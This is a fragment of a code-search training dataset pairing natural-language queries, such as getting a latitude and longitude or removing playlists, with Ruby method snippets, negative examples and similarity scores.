klass,|\n klass == RailsRemoteControl::Server::RINGY_DINGY_SERVICE\n end\n\n rrc_servers.map do |_, _, server, name|\n host, pid, = name.split '_', 3\n Server.new host, pid.to_i, server\n end\n end", "def list_books\n puts \"\"\n puts \"Current Catalogue:\"\n puts \"\"\n puts \"A-G:\"\n \t@shelf_ag.to_s\n \tputs \"H-P:\"\n \t@shelf_hp.to_s\n \tputs \"Q-Z:\"\n \t@shelf_qz.to_s\n end", "def get_available_cartridges\n args = Hash.new\n args['--porcelain'] = true\n args['--with-descriptors'] = true\n result = execute_direct(@@C_CONTROLLER, 'cartridge-list', args, false)\n result = parse_result(result)\n cart_data = JSON.parse(result.resultIO.string)\n cart_data.map! {|c| OpenShift::Cartridge.new(YAML.load(c))}\n end", "def servlist(mask = nil, type = nil)\n raw \"SERVLIST #{mask} #{type}\".strip << \"\\r\\n\"\n end", "def getServers(admin)\n serverInfos = admin.getClusterStatus().getServerInfo()\n servers = []\n for server in serverInfos\n servers << server.getServerName()\n end\n return servers\nend", "def list_all_aos_version_boxes(args = {}) \n get(\"/aosversions.json/aosversionbox\", args)\nend", "def list_ks_fusion_vms(options)\n options['search'] = \"rhel|centos|oel\"\n list_fusion_vms(search_string)\n return\nend", "def find_all_storenames\n\n WiStore.find(:all).collect do |store|\n store.name\n end\n end", "def detect_os\n @server_os = Array.new\n @servers.each do |server|\n# if obj_behavior(server, :spot_check_command?, \"lsb_release -is | grep Ubuntu\")\n if probe(server, \"lsb_release -is | grep Ubuntu\")\n puts \"setting server to ubuntu\"\n server.os = \"ubuntu\"\n server.apache_str = \"apache2\"\n server.apache_check = \"apache2ctl status\"\n server.haproxy_check = \"service haproxy status\"\n else\n puts \"setting server to centos\"\n server.os = \"centos\"\n server.apache_str = \"httpd\"\n server.apache_check = \"service httpd status\"\n server.haproxy_check = \"service haproxy check\"\n end\n end\n end", "def sword_services\n Utility.find_elements_by_namespace_and_name(extensions, \"http://purl.org/net/sword/terms/\", \"service\")\n end", "def servers\n endpoint = 'https://pcs.baidu.com/rest/2.0/pcs/manage?method=listhost'\n @res = @api.request_json( endpoint )\n end", "def detect_os\n @server_os = Array.new\n @servers.each do |server|\n if object_behavior(server, :spot_check_command?, \"lsb_release -is | grep Ubuntu\")\n puts \"setting server to ubuntu\"\n server.os = \"ubuntu\"\n server.apache_str = \"apache2\"\n server.apache_check = \"apache2ctl status\"\n server.haproxy_check = \"service haproxy status\"\n else\n puts \"setting server to centos\"\n server.os = \"centos\"\n server.apache_str = \"httpd\"\n server.apache_check = \"service httpd status\"\n server.haproxy_check = \"service haproxy check\"\n end\n end\n end", "def all_platforms\n Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }\n end", "def index\n @sekilas_infos = SekilasInfo.all\n end", "def get_sites\n\t\ts = get_admin_section \"system.applicationHost/sites\"\n\t IisObjectCollection.new s.Collection, :site, Site, lambda { |site| site.id = s.Collection.Count + 1 }\n end", "def index\n @sfmodules = Sfmodule.all\n end", "def list\n owner.json_api_command('sensor', nil, '-l')&.fetch(:sensors)\n end", "def list\n if remotes.empty?\n puts \"No Roku boxes known\\n\" +\n \"Use the scan or add operations to find or add boxes\"\n else\n puts 'Roku boxes:'\n remotes.each_with_index do |box, i|\n print \"#{i+1}. #{box.name || '(no name)'} at #{box.host}\"\n print \"#{' <-- active' if i == remotes.active_index}\\n\"\n end\n end\n end", "def san_nics\n x = nics.find_all_by_network_type('san', :order =>:port_name)\n x = [] if x.nil?\n x\n end", "def list(state = 'open')\n Core.list(:user => @user, :repo => @repo, :state => state)\n end", "def index\n @isos = Iso.all\n end", "def index\n @team_vigo_rise_online_systems = TeamVigoRiseOnlineSystem.all\n end", "def catalogs\n path = \"#{api_root}/index/catalogs\"\n process_api_request(:get, path)\n end", "def get_services()\n return get_request(address(\"/OS-KSADM/services\"), token())\n end", "def print_ssl_sites\n\t\tputs \"\\nSummary Report of the HTTPS Sites from the Site Store\"\n\t\tsites=get_ssl_sites\n\t\tsites.each do |site|\n\t\t\tputs site\n\t\tend\n\t\treturn nil\n\tend", "def services\n Win32::Service.services.select do |svc|\n # TODO in future, 1.8.7, can use start_with?\n svc.display_name[0,@name_key.size] == @name_key\n end\n end", "def darwin_app_list; end", "def index\n @swms = Swm.all\n end", "def index\n @souvenirs = Souvenir.all\n end", "def index\n @souvenirs = Souvenir.all\n end", "def interfaces()\n ifaces = []\n request = Packet.create_request(COMMAND_ID_SNIFFER_INTERFACES)\n response = client.send_request(request)\n response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p|\n vals = p.tlvs.map{|x| x.value }\n iface = { }\n if vals.length == 8\n # Windows\n ikeys = %W{idx name description type mtu wireless usable dhcp}\n else\n # Mettle\n ikeys = %W{idx name description usable}\n end\n ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }\n ifaces << iface\n }\n return ifaces\n end", "def list_sobjects\n describe.collect { |sobject| sobject['name'] }\n end", "def index\n @spliffs = Spliff.all\n end", "def describe_all_instances\n @os_aws.describe_all_instances\n end" ]
[ "0.6754239", "0.63414836", "0.61719334", "0.60316044", "0.5980143", "0.59203595", "0.5901304", "0.5883644", "0.5883418", "0.58351094", "0.5702179", "0.5665062", "0.5653075", "0.5609627", "0.5601981", "0.5598723", "0.5592912", "0.559083", "0.5585826", "0.5580851", "0.5551745", "0.55447155", "0.5536356", "0.5535112", "0.55278856", "0.5497271", "0.54865956", "0.5470922", "0.54520893", "0.5451759", "0.5448842", "0.5443483", "0.5394841", "0.53933793", "0.5384984", "0.5382152", "0.5381689", "0.53781056", "0.5375048", "0.5363705", "0.53447926", "0.53403074", "0.5339105", "0.5319878", "0.53175265", "0.5312265", "0.5303594", "0.53024966", "0.52907246", "0.5284648", "0.5284229", "0.52799", "0.52595836", "0.5258563", "0.52572596", "0.5255107", "0.52436393", "0.52307683", "0.5230094", "0.52253294", "0.5219507", "0.5218594", "0.5215972", "0.5200068", "0.518839", "0.51827717", "0.5182177", "0.5177326", "0.51767373", "0.5174044", "0.5169654", "0.5169257", "0.516494", "0.516407", "0.51614624", "0.51542085", "0.51449883", "0.51446545", "0.514201", "0.5136085", "0.51315796", "0.513075", "0.5127239", "0.5123248", "0.51227826", "0.5118051", "0.51179236", "0.5117747", "0.5116122", "0.51158893", "0.51139283", "0.5102367", "0.5099702", "0.50963086", "0.50958157", "0.50958157", "0.50956434", "0.509268", "0.5090854", "0.5090652" ]
0.6058915
3
get longitude and latitude
def getLocation loc = Addressable::URI.new( :scheme => "https", :host => "maps.googleapis.com", :path => "maps/api/geocode/json", :query_values => {:address => "160+Folsom,+San+Francisco,+CA", :sensor => "false"}).to_s location_request = RestClient.get(loc) parsed_location_request = JSON.parse(location_request) lat = parsed_location_request["results"][0]["geometry"]["location"]["lat"].to_s lng = parsed_location_request["results"][0]["geometry"]["location"]["lng"].to_s [lat,lng] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lonlat\r\n [longitude,latitude]\r\n end", "def lonlat\r\n [longitude,latitude]\r\n end", "def latlon\r\n [latitude,longitude]\r\n end", "def latlon\r\n [latitude,longitude]\r\n end", "def latlon\r\n [latitude,longitude]\r\n end", "def lat_lon\n [lat, lon]\n end", "def get_longitude\n get_coord['lon']\n end", "def get_latitude\n get_coord['lat']\n end", "def lon\r\n return @longitude\r\n end", "def location\n if [latitude, longitude].all?(&:present?)\n [latitude, longitude]\n end\n end", "def latitude\n coordinates[0];\n end", "def longitude; end", "def latlng\n [lat, lon]\n end", "def lat\r\n return @latitude\r\n end", "def coordinates\n [latitude, longitude]\n end", "def longitude\n end", "def lat\n @position[0]\n end", "def get_location\n @lat, @lng = request.location.try(:latitude), request.location.try(:longitude) \n end", "def latitude; end", "def latitude\n end", "def latitude\n -37.8136\n end", "def longitude\n @longitude\n end", "def extract_geolocation\n img_lat = get_exif('GPSLatitude')[0][1].split(', ') rescue nil\n img_lng = get_exif('GPSLongitude')[0][1].split(', ') rescue nil\n lat_ref = get_exif('GPSLatitudeRef')[0][1] rescue nil\n lng_ref = get_exif('GPSLongitudeRef')[0][1] rescue nil\n return unless img_lat && img_lng && lat_ref && lng_ref \n latitude = to_frac(img_lat[0]) + (to_frac(img_lat[1])/60) + (to_frac(img_lat[2])/3600)\n longitude = to_frac(img_lng[0]) + (to_frac(img_lng[1])/60) + (to_frac(img_lng[2])/3600) \n latitude = latitude * -1 if lat_ref == 'S' # (N is +, S is -)\n longitude = longitude * -1 if lng_ref == 'W' # (W is -, E is +) \n self.latitude = latitude\n self.longitude = longitude\n end", "def location\n [lat.to_f / 100_000, lng.to_f / 100_000]\n end", "def lat\n round(@lat)\n end", "def geo_location\n begin\n # Get Comma seperated coordinates and return as hash\n coordinates = @result[\"ipLocation\"][\"pointProperty\"][\"Point\"][\"coordinates\"].split(',')\n return { long: coordinates[0], lat: coordinates[1] }\n rescue \n raise \"geo location unknown\"\n end\n end", "def location\n b = []\n b << latitude\n b << longitude\n Geocoder.coordinates(b)\n end", "def get_lat_long(doc) \r\n\tscript1 = doc.css('body #container #content script')[1]\r\n\tlat_lon = /\"latitude\":\"(\\d+\\.\\d+)\",\"longitude\":\"(-\\d+\\.\\d+)\"/.match(script1.to_s)\r\n\t# puts \"lat is #{lat_lon[1]} long is #{lat_lon[2]} \"\r\n end", "def getlocation\r\n @myip = remote_ip()\r\n # based off freegeoip.net is really terrible\r\n result = Geocoder.search(@myip)\r\n @mylat = result.latitude\r\n @mylong = result.longitude\r\n @mycity = result.address\r\n #51.243048, -0.588458\r\n end", "def lat_lon\n [latitude, longitude].join(',')\n end", "def lon\n @position[1]\n end", "def lat_f\n lat.to_f\n end", "def lat\n self['latitude']\n end", "def latitude\n @latitude\n end", "def to_coordinates\n [latitude, longitude]\n end", "def extract_latlng(params)\n lat = params.delete('pio_latitude')\n lng = params.delete('pio_longitude')\n params['pio_latlng'] = \"#{lat},#{lng}\" if lat && lng\n return params['pio_latlng']\n end", "def latitude\n location.latitude if location.latitude\n end", "def ll\n \"#{lat},#{lng}\"\n end", "def ll\n \"#{lat},#{lng}\"\n end", "def lon\n @location.longitude\n end", "def longitude_latitude\n attrs = sample_attributes_array\n\n longitude = attrs.first_matching('longitude') #e.g. SRR027089\n longitude ||= attrs.first_matching('Geographic location (longitude)') #e.g. ERR193639\n\n latitude = attrs.first_matching('latitude')\n latitude ||= attrs.first_matching('Geographic location (latitude)')\n\n if longitude and latitude\n if longitude[1].match(/^\\d+\\.\\d+$/) and latitude[1].match(/^\\d+\\.\\d+$/)\n return longitude[1].to_f, latitude[1].to_f\n else\n # Hell begins here. e.g. ERR011387 => 40º 02’ N\n return nil\n end\n elsif hit = attrs.first_matching('lat_lon')\n if matches = hit[1].match(/^(\\d+\\.\\d+) (\\d+\\.\\d+)$/)\n return matches[1].to_f, matches[2].to_f\n else\n return nil\n end\n else\n return nil\n end\n end", "def latitude\n \tif(self.coordinates != nil)\n\t \treturn self.coordinates.y\n\t else\n\t \treturn nil\n\t end\n end", "def latitude\n \tif(self.coordinates != nil)\n\t \treturn self.coordinates.y\n\t else\n\t \treturn nil\n\t end\n end", "def to_latlong\n end", "def longitude_latitude\n @items[:lonlat].values.map{|group| group.first }\n end", "def query_location_lat_long\n loc = MultiGeocoder.geocode(location)\n [loc.lat, loc.lng]\n end", "def lat\n @location.latitude\n end", "def get_coords(address)\n coords = Geocoder.search(address)\n location = self.location\n if coords.length === 0 \n coords = Geocoder.search(self.name)\n end\n debugger\n self.lat ||= coords.first.coordinates[0]\n self.lng ||= coords.first.coordinates[1]\n end", "def get_by_lat_lng\n\tend", "def longitude\n geo_attribute('long')\n end", "def coordinates\n \"#{longitude},#{latitude}\"\n end", "def coordinates\n return {latitude: self.latitude, longitude: self.longitude}\n end", "def get_coords(address)\n coords = Geocoder.search(address)\n if coords.length === 0 \n coords = Geocoder.search(self.name)\n end\n debugger\n self.lat ||= coords.first.coordinates[0]\n self.lng ||= coords.first.coordinates[1]\n end", "def decimal_latitude\n @ce.andand.latitude.to_s\n end", "def latitude\n latitude_times_1000000.nil? ? nil : latitude_times_1000000 / 1_000_000.0\n end", "def get_geoloc(ip)\n\t\trec = self.get_all ip\n\t\treturn [rec.longitude,rec.latitude]\n\tend", "def locate(latitude,longitude)\n get escape(\"lat=#{latitude}&lon=#{longitude}\")\n end", "def lat\n return self.rsvp['lat'].to_f\n end", "def long\n self['longitude']\n end", "def latitude\n self.to_coordinates[0]\n end", "def lat\n return self.city['lat'].to_f\n end", "def get_location(loc)\n geo = Geocoder.search(\"#{loc} seattle\")\n lat = geo[0].latitude\n lon = geo[0].longitude\n [lon, lat]\n end", "def geo(zipRow)\n\t\t\tlong = zipRow[6].to_f\n\t\t\tlat = zipRow[5].to_f\n\t\treturn lat, long\n\tend", "def construct_coordinates\n construct_latitude\n construct_longitude\n end", "def _geoloc\n {\n 'lat' => location.try(:latitude) || '0.0',\n 'lng' => location.try(:longitude) || '0.0'\n }\n end", "def _geoloc\n {\n 'lat' => location.try(:latitude) || '0.0',\n 'lng' => location.try(:longitude) || '0.0'\n }\n end", "def assign_lon_lat_locator_fields\n box = getBoxForCoordinates( view_path_coordinates[\"LonLat\"] )\n self.nw_lon= box[0][0]\n self.nw_lat= box[0][1]\n self.se_lon= box[1][0]\n self.se_lat= box[1][1]\n end", "def longitude\n longitude_times_1000000.nil? ? nil : longitude_times_1000000 / 1_000_000.0\n end", "def compute_position\n # The negative and the ninety are the fudge to compensate for our map.\n lat = @latitude_radians = radians(-@latitude)\n long = @longitude_radians = radians(@longitude + 90)\n radius = $app.globe.diameter / 2.0 - 23\n @x = radius * cos(lat) * sin(long)\n @y = radius * sin(lat)\n @z = radius * cos(lat) * cos(long)\n end", "def get_coord\n @single_city_data['coord']\n end", "def get_and_save_latlng\n\t\tlatlng = get_latlng\n\t\tcreate_coordinate(lat: latlng[0], lng: latlng[1])\n\tend", "def latitude_longitude\n lambda {|d|\n if d.latitude_start?\n d.latitude = d.latitude_start\n d.delete :latitude_start\n end\n\n if d.longitude_start?\n d.longitude = d.longitude_start\n d.delete :longitude_start\n end\n log.info \"#{d.latitude} #{d.longitude}\"\n d\n }\n end", "def lat_lng\n lng_lat.reverse\n end", "def longitude\n self.to_coordinates[1]\n end", "def latitude\n geo_attribute('lat')\n end", "def parse_lat_long(raw)\n m = raw.match(/(\\d+)\\s+(\\d+\\.?\\d*)\\s*([NS])\\s+(\\d+)\\s+(\\d+\\.?\\d*)\\s*([WE])/i)\n if m.nil? || m.size != 5\n return nil\n else\n # Parse out degrees and minutes\n latitude = m[1].to_f + (m[2].to_f / 60.0)\n longitude = m[4].to_f + (m[5].to_f / 60.0)\n\n # Figure out negative vs positive\n latitude *= (m[3] =~ /N/i ? 1 : -1)\n longitude += (m[6] =~ /E/i ? 1 : -1)\n\n return [latitude, longitude]\n end\n end", "def latlon(line)\n # Extracting lat and lon from trkpt line \n # <trkpt lat=\"38.329948\" lon=\"-119.636582\"> # this shows format of the line with lat and lon\n line =~ /<trkpt lat=\\\"(\\-?[\\d\\.]+)\\\" lon=\\\"(\\-?[\\d\\.]+)\\\">/ # (\\-?[\\d\\.]+) gets the sign and the digits\n # lat = $1, lon = $2\n return alatlon=[$1,$2]\nend", "def get_location(photo_id)\n # begin\n rsp = @flickr.send_request('flickr.photos.geo.getLocation', {:photo_id => photo_id})\n Flickr::Photos::Location.new(:latitude => rsp.photo.location[:latitude].to_f,\n :longitude => rsp.photo.location[:longitude].to_f, :accuracy => rsp.photo.location[:accuracy].to_i)\n end", "def latitude\n if public_address?\n (location['location'] || {})['latitude']\n elsif zip_coords.present?\n zip_coords[0]\n end\n end", "def latitude\n self.wkb_geometry.coordinates[1]\n end", "def create_lat_long_coordinates(location)\n gmaps = GoogleMapsService::Client.new\n lat_long = gmaps.geocode(location)\n latitude = lat_long[0][:geometry][:location][:lat]\n longitude = lat_long[0][:geometry][:location][:lng]\n lat_long = [latitude, longitude]\n end", "def origin\n coord, address = Map.locate_user(params[:address], locate_by_ip)\n #address may not be the same as params, if params.blank?\n return coord, address\n end", "def longlat\n if @user_longitude.present? && @user_latitude.present?\n session[:longitude] = @user_longitude\n session[:latitude] = @user_latitude\n end\n return [session[:latitude], session[:longitude]]\n end", "def get_coords(address)\n file = open(\"https://maps.googleapis.com/maps/api/geocode/json?address=#{URI.escape(address)}&key=AIzaSyARfm-3M5KppQjgGnHK1DIYt-GmG4eJqCI\")\n contents = file.read()\n hash = JSON.parse(contents)\n lat = hash[\"results\"][0][\"geometry\"][\"location\"][\"lat\"].to_f\n lng = hash[\"results\"][0][\"geometry\"][\"location\"][\"lng\"].to_f\n return [lat, lng]\nend", "def office_latitude\n self.dig_for_decimal(\"agentSummary\", \"office\", \"officeAddress\", \"latitude\")\n end", "def get_coordinates\n checked_google_response do\n return parsed_response if raw\n parsed_response[\"results\"].inject([]) do |memo, result|\n memo << { \n :lat => result[\"geometry\"][\"location\"][\"lat\"], \n :lng => result[\"geometry\"][\"location\"][\"lng\"],\n :matched_address => result[\"formatted_address\"],\n :bounds => result[\"geometry\"][\"bounds\"],\n :full_data => result\n }\n end\n end\n end", "def longitude_for(image_meta)\n image_meta&.gps&.longitude\n end", "def public_lat\n gps_hidden && user_id != User.current_id ? nil : lat\n end", "def get_coords(_ip_addr)\n g = GeoIP.new('GeoLiteCity.dat').city(_ip_addr)\n [g.latitude, g.longitude]\n end", "def coordinates\n [@data['latitude'].to_f, @data['longitude'].to_f]\n end", "def coordinates\n [@data['latitude'].to_f, @data['longitude'].to_f]\n end", "def api\n CLLocationCoordinate2DMake(latitude, longitude)\n end", "def geo_location\n if loc = self.location\n res = GeoKit::GeoLoc.new(loc.geokit_attributes)\n res.success = !!(res.lat && res.lng)\n res\n end\n end", "def get_coordinates\n if self.country_status == 'closed'\n self.latitude = nil\n self.longitude = nil\n else\n q = self.city || ''\n q += ','+self.state if self.state\n q += ','+self.country\n begin\n self.latitude, self.longitude = Geocoder.coordinates(q)\n # We need to make sure that that no 2 projects have exactly the same\n # coordinates. If they do, they will overlap on the flash map and\n # you won't be able to click on one of them.\n while SpProject.where(['latitude = ? and longitude = ?', self.latitude, self.longitude]).first\n delta_longitude, delta_latitude = 0,0\n delta_longitude = rand(6) - 3 while delta_longitude.abs < 2\n delta_latitude = rand(6) - 3 while delta_latitude.abs < 2\n # move it over a little.\n self.longitude += delta_longitude.to_f/10\n self.latitude += delta_latitude.to_f/10\n end\n rescue => e\n Airbrake.notify_or_ignore(e, :parameters => attributes)\n end\n end\n true\n end", "def get_lat_long_of_current(address)\n\n a = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/geocode/json\",\n :query_values => { :address => address,\n :sensor => \"false\"}\n )\n response = RestClient.get(a.to_s)\n\n response_json = JSON.parse(response)\n lat = response_json[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n long = response_json[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n [lat, long]\nend", "def geom_coords\n# self.geom.geometry_n(0).y.to_s + \" \" + self.geom.geometry_n(0).x.to_s\n \"\" + self.latitude.to_s + \" \" + self.longitude.to_s\n end", "def coordinates\n [@data[:szer_geogr].to_f, @data[:dl_geogr].to_f]\n end", "def by_location latitude, longitude\n begin\n self.by_location! latitude, longitude\n rescue Exception \n nil\n end\n\n end", "def latitude_for(image_meta)\n image_meta&.gps&.latitude\n end", "def rlat\n # lat * PI / 180\n self.lat * 0.01745329251994\n end" ]
[ "0.80233806", "0.80233806", "0.7887345", "0.7887345", "0.7887345", "0.773535", "0.77127934", "0.7624637", "0.7604247", "0.75956655", "0.7540942", "0.7513901", "0.74579734", "0.74460065", "0.7433143", "0.7429592", "0.7399381", "0.7385778", "0.7340706", "0.732971", "0.7254345", "0.7246802", "0.7226115", "0.7213741", "0.72086424", "0.71991277", "0.7164168", "0.71317035", "0.71312153", "0.71296793", "0.7088805", "0.70794576", "0.7074052", "0.70507956", "0.7034961", "0.70340866", "0.7025865", "0.7019056", "0.7019056", "0.70026624", "0.6985726", "0.69511795", "0.69511795", "0.6948053", "0.6933383", "0.6929221", "0.6885481", "0.6884311", "0.6864118", "0.686121", "0.6858955", "0.68527216", "0.6832581", "0.6830888", "0.68036354", "0.6801863", "0.6795329", "0.6773747", "0.6771267", "0.67698747", "0.6758735", "0.6749115", "0.6738929", "0.6728755", "0.67272025", "0.67272025", "0.6724633", "0.6720603", "0.67155594", "0.67063403", "0.67034113", "0.66890186", "0.6648503", "0.66435295", "0.6640748", "0.6618541", "0.6604897", "0.6603593", "0.6573712", "0.6568974", "0.655919", "0.6534124", "0.6530995", "0.6525741", "0.6507836", "0.64948654", "0.6489569", "0.64726746", "0.64386576", "0.6430206", "0.6430206", "0.6425808", "0.64222044", "0.6415603", "0.6414715", "0.6403483", "0.64023817", "0.63922894", "0.6391336", "0.63901955" ]
0.6990847
40
This will remove playlists from the specified plan
def remove_playlists(id:, params:) client.execute(method: :put, path: "/#{path}/#{id}/remove_playlists", params: params) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_plans\n cb_plan_ids = cb_plans.flat_map(&:id)\n Plan.all.reject { |plan| cb_plan_ids.include?(plan.plan_id) }\n .each { |plan| puts \"Deleting Plan - #{plan.plan_id}\"; plan.destroy }\n end", "def remove_plan(plan)\n raise Reji::SubscriptionUpdateFailureError.cannot_delete_last_plan(self) if single_plan?\n\n item = find_item_or_fail(plan)\n\n item.as_stripe_subscription_item.delete({\n proration_behavior: proration_behavior,\n })\n\n items.where(stripe_plan: plan).destroy_all\n\n if items.count < 2\n item = items.first\n\n update({\n stripe_plan: item.stripe_plan,\n quantity: quantity,\n })\n end\n\n self\n end", "def delete_playlist(p)\n\t\treturn unless create_playlist?\n\t\t\n\t\tbegin\n\t\t\tcase provider\n\t\t\twhen \"facebook\"\n\t\t\t\tdelete_playlist_on_facebook(p)\n\t\t\tend\n\t\trescue Exception => e\n\t\t\traise e if Rails.env.test?\n\t\t\tlogger.debug \"error deleting playlist on service: #{provider}\"\n\t\t\tlogger.debug e.inspect\n\t\tend\n\tend", "def plan_remove_object(plan, object)\n\t\tif local = peer.local_object(object, false)\n\t\t # Beware, transaction proxies have no 'plan' attribute\n\t\t plan = peer.local_object(plan)\n\t\t Distributed.update(plan) do\n\t\t\tDistributed.update(local) do\n\t\t\t plan.remove_object(local)\n\t\t\tend\n\t\t end\n\t\t local.forget_peer(peer)\n\t\tend\n\n\t rescue ArgumentError => e\n\t\tif e.message =~ /has not been included in this plan/\n\t\t Roby::Distributed.warn \"filtering the 'not included in this plan bug'\"\n\t\telse\n\t\t raise\n\t\tend\n\t end", "def delete(opts)\n playlist_control :delete, opts\n end", "def removeFromPlaylist(playlist,index,count,tracks)\n method = 'removeFromPlaylist'\n type = TODO\n args = {:playlist=>playlist,:index=>index,\n :count=>count,:tracks=>Rdio::keys(tracks)}\n return_object type,method,args,true\n end", "def delete\n\t @name = self.name\n\t @tasks = nil\n\t if plan\n\t\tplan.remove_object(self)\n\t else\n\t\tclear_relations\n\t\tfreeze \n\t end\n\tend", "def unsubscribe_plan\n proxies.delete(remote_plan)\n subscriptions.delete(remote_plan)\n if connected?\n call(:removed_sibling, @remote_plan, connection_space.plan.remote_id)\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n Task.update_next_dates\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @plan.destroy\n\n head :no_content\n end", "def delete_playlists(ids = [])\n url = 'playlistbatch'\n\n deletes = ids.map do |pd|\n {\n delete: pd\n }\n end\n\n options = {\n body: {mutations: deletes}.to_json\n }\n\n make_post_request(url, options).fetch('mutate_response')\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #@art_plan = ArtPlan.find(params[:id])\n #if @art_plan.present?\n #byebug\n @art_plan.destroy \n #end \n flash[:success] = \"Your art plan and all associated art plans were deleted!\"\n redirect_to art_plans_path\n end", "def backend_deleteProject(param) \n @Projects.delete(param) if @Projects.include? param \n end", "def destroy\n @panel_plan = Panel::Plan.find(params[:id])\n @panel_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_plans_url) }\n format.json { head :ok }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n head :no_content\n end", "def remove\n empty if @playlist.length <= 0\n item_names = @playlist.map { |item| \"#{item['name']} by #{item['artist']}\" }\n item_names << 'Back'\n selection = @prompt.select('Which track would you like to remove?', item_names).split(' by ')\n menu if selection == 'Back'\n @playlist.each_with_index do |item, index|\n @user.playlist.delete_at(index) if item['name'] == selection[0]\n end\n update_playlist\n end", "def destroy\n Playlist.find(params[:id]).destroy\n redirect_to \"/playlists\"\n end", "def backend_deleteTask(param) \n @Tasks.delete(param) if @Projects.include? param \n end", "def remove_plan_course(plan_course_id)\n plan_course = self.plan_courses.find(plan_course_id)\n\n return :not_found if not plan_course\n\n plan_course.destroy\n\n return :ok\n end", "def destroy\n\t\tplayitems = params[:items]\n\t\t@playlist = PlaylistMedia.find(playitems[0]).playlist\n\t\t@playitems = true\t# Prevents being made a droppable\n\t\t\n\t\tPlaylistMedia.where('id IN (?)', playitems).update_all(:deleted => true, :updated_at => Time.now)\n\t\tPlaylistMedia.where('id IN (?) AND deleted = ? AND published = ?', playitems, true, false).destroy_all\t# Delete any that needed \n\n\t\trespond_with(@playlist) do |format|\n\t\t\tformat.js { render :action => 'update_playlist', :layout => false }\n\t\tend\n\tend", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n @lesson_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @list = @project.lists.find(params[:id])\n @list.destroy\n\n respond_to do |format|\n format.html { redirect_to project_lists_url(@project) }\n format.json { head :no_content }\n end\n end", "def destroy\n if @plan.tasks.exists?\n flash[:error] = \"Cannot delete plan because it has actions attached\"\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n else\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n end", "def destroy\n @sslplan = Sslplan.find(params[:id])\n @sslplan.destroy\n\n respond_to do |format|\n format.html { redirect_to sslplans_url }\n format.json { head :ok }\n end\n end", "def destroy\n @klassplan = Klassplan.find(params[:id])\n @klassplan.destroy\n\n respond_to do |format|\n format.html { redirect_to klassplans_url }\n format.json { head :no_content }\n end\n end", "def destroy \n playlist = Playlist.find_by(uuid: params[:id])\n return unless playlist[:user_id] == session[:user_id]\n\n # PlaylistTiktok.where(\"playlist_id = #{playlist[:id]}\").delete_all\n delete_tiktoks_from_playlist(playlist[:id])\n playlist.destroy\n render json: { status: 200, deleted: true }\n end", "def delete\n\t\tif params[:position]\n\t\t\titem = Playlist.where(params[:position])[0] \n\t\t\titem.remove_from_list\n\t\t\titem.delete\n\t\t\t@position = params[:position]\n\t\telse\n\t\t\tPlaylist.delete_all\n\t\tend\n\tend", "def destroy\n @play_list = PlayList.find(params[:id])\n @play_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(play_lists_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #removed link\n #<%= link_to 'Destroy', campaign_playlist, method: :delete, data: { confirm: 'Are you sure?' }, class: \"btn btn-info btn-xs\" %>\n #@campaign_playlist.destroy\n all_grp_playlists = CampaignPlaylist.where(playlist_group_id: params[:id])\n\n all_grp_playlists.each do | grp|\n grp.destroy\n end\n respond_with(@campaign_playlist.campaign)\n end", "def remove_from_list(list_id, lead)\n list_operation(list_id_key(list_id), ListOperationType::REMOVE_FROM, lead.id)[:success_list_operation][:result][:success]\n end", "def destroy\n @playlist = current_user.playlists.find(params[:id])\n current_user.vid_count_dec_list(@playlist)\n @playlist.destroy\n \n respond_to do |format|\n format.html { redirect_to root_url }\n format.js\n end\n end", "def remove_song_from_playlist(song)\n @playlist.delete(song)\n end", "def delete(language:, video_id:)\n client.execute(method: :delete, path: \"/videos/#{video_id}/subtitle_playlists/#{language}\")\n end", "def destroy\n @plan = @current_user.plans.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(:root) }\n format.xml { head :ok }\n end\n end", "def destroy\n @lunchplan = Lunchplan.find(params[:id])\n @lunchplan.destroy\n\n respond_to do |format|\n format.html { redirect_to lunchplans_url }\n format.json { head :no_content }\n end\n end", "def clear\n playlist_control :delete\n end", "def destroy\n @plan = Plan.find(params[:id])\n authorize @plan\n if @plan.destroy\n respond_to do |format|\n format.html do\n redirect_to plans_url,\n notice: success_message(@plan, _('deleted'))\n end\n end\n else\n respond_to do |format|\n flash.now[:alert] = failure_message(@plan, _('delete'))\n format.html { render action: 'edit' }\n end\n end\n end", "def remove_from_list_resource\n manage_list_resource(:remove)\n end", "def 